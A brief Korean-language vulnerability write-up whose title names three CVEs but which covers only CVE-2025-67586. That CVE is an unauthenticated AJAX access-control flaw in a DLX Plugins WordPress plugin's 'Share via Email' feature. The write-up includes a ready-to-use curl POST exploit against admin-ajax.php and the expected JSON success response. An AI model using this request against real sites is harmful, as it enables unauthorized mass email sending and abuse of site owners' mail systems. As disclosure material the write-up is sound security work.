
writeups for (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)
(CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)에 대한 분석 자료
-------------- CVE-2025-67586 Exploit PoC --------------
==> 설명 DLX Plugins에서 개발한 WordPress 플러그인에 취약한 접근 제어 취약점이 존재합니다. 이 플러그인은 인증되지 않은 AJAX 액션을 노출하여 공격자가 적절한 권한 확인 없이 "Share via Email" 기능을 악용할 수 있도록 합니다.
인증되지 않은 공격자는 유효한 게시물 nonce를 재사용하여 이메일 공유 요청을 트리거할 수 있으며, 이는 사용자 인증 없이 승인되지 않은 이메일 전송(이메일 스팸/악용)으로 이어집니다.
==> 필요 권한 없음 (인증되지 않음)
==> 개념 증명 (PoC)
1단계: 플러그인이 설치된 웹사이트 선택
2단계: 유효한 Nonce 획득
3단계: 인증되지 않은 요청을 통한 익스플로잇
bash 명령어: (웹사이트 URL, 게시물 URL, nonce를 상황에 맞게 변경)
curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php'
-d 'action=has_email_form_submission'
-d 'formData[postId]='
-d 'formData[permalink]=http://localhost/?p='
-d 'formData[nonce]='
-d 'formData[toEmail]=[email protected]'
-d 'formData[subject]=PoC'
-d 'formData[shareText]=POC test'
-d 'formData[emailShareType]=selection'
--compressed
--> 예상 JSON 응답:
{ "success": true, "data": { "errors": false, "message_title": "This post has been shared!", "message_body": "You have shared this post with [email protected]", "message_subject": "[Shared Post] ", "message_source_name": "Site Name", "message_source_email": "[email protected]" } }